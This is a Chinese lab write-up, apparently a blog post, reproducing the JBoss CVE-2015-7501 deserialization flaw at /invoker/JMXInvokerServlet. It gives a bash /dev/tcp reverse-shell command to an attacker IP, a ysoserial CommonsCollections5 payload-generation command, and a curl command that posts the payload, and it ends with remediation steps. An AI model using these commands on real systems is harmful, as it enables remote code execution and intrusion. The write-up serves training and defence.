jboss CVE-2015-7501 反序列化漏洞

漏洞简介

  • jboss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后攻击者可以利用 Apache Commons Collections 中的 Gadget 执行任意代码;

jboss了解

  • jboss是一个基于J2EE的开放源代码应用服务器,代码遵循LGPL许可,可以在任何商业应用中免费使用,jboss也是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3规范;但jboss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用;在J2EE应用服务器领域,jboss是发展最为迅速的应用服务器;由于jboss遵循商业友好的LGPL授权分发,并且由开源社区开发,这使得jboss广为流行;

受影响版本

  • JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
    JBoss AS (Wildly) 6 and earlier
    JBoss A-MQ 6.2.0
    JBoss Fuse 6.2.0
    JBoss SOA Platform (SOA-P) 5.3.1
    JBoss Data Grid (JDG) 6.5.0
    JBoss BRMS (BRMS) 6.1.0
    JBoss BPMS (BPMS) 6.1.0
    JBoss Data Virtualization (JDV) 6.1.0
    JBoss Fuse Service Works (FSW) 6.0.0
    JBoss Enterprise Web Server (EWS) 2.1,3.0

环境搭建

漏洞验证

  • 开启靶场环境,成功访问;

在这里插入图片描述

  • 访问路径/invoker/JMXInvokerServlet,若提示JMXInvokerServlet文件下载则说明可能存在漏洞;

在这里插入图片描述

漏洞复现

  • 开启burp进行抓包,查看响应数据原始内容;

在这里插入图片描述

  • 由于在处理/invoker/JMXInvokerServlet请求的时候会读取用户传入的对象,那我们可以构造恶意的数据传入,当jboss处理该数据时即可执行该恶意数据,从而达到执行任意代码的效果;

  • 知道利用点那就好办了,下载使用ysoserial工具生成恶意的poc;

知识小拓展

ysoserial是一款在Github开源的知名java反序列化利用工具,集合了各种java反序列化 payload; 但其中部分payload需使用低版本JDK中的类,建议可先备好低版本JDK;

  • 构造恶意的命令并进行base64编码,以反弹shell;
bash -i >& /dev/tcp/x.x.x.x/监听端口 0>&1: x.x.x.x为攻击机IP

在这里插入图片描述

  • 攻击机执行恶意java命令,生成恶意poc;
java -jar ysoserial.jar CommonsCollections5 "base64编码后的命令">exp.ser
//将生成的poc输入到exp.ser文件中

在这里插入图片描述

反弹shell

  • 将生成的exp.ser下载到本地,burp抓包后修改为post提交方式,接着右击paste from file上传生成的exp.ser文件;(注:攻击机要先开启监听)

在这里插入图片描述

  • 这里不知道啥原因,居然没有反弹过去(导演这一段请减掉😂),后面发现可以直接在攻击机上使用curl命令来执行命令,上传该恶意的exp文件;
curl http://靶机IP:端口/invoker/JMXInvokerServlet --data-binary @exp.ser

在这里插入图片描述

  • 返回监听成功反弹shell,在/tmp目录下成功拿到flag;

在这里插入图片描述

修复意见

1)将应用程序迁移到其他容器,如WildFly等;
2)升级JBoss AS版本至7.0.6.Final或更高版本;
3)禁用JMX控制台、限制对JMX端口的访问、禁用不必要的服务和组件并使用防火墙保护系统;

上一篇 > fastjson CNVD-2019-22238 远程代码执行漏洞

以上内容就是jboss CVE-2015-7501 反序列化漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值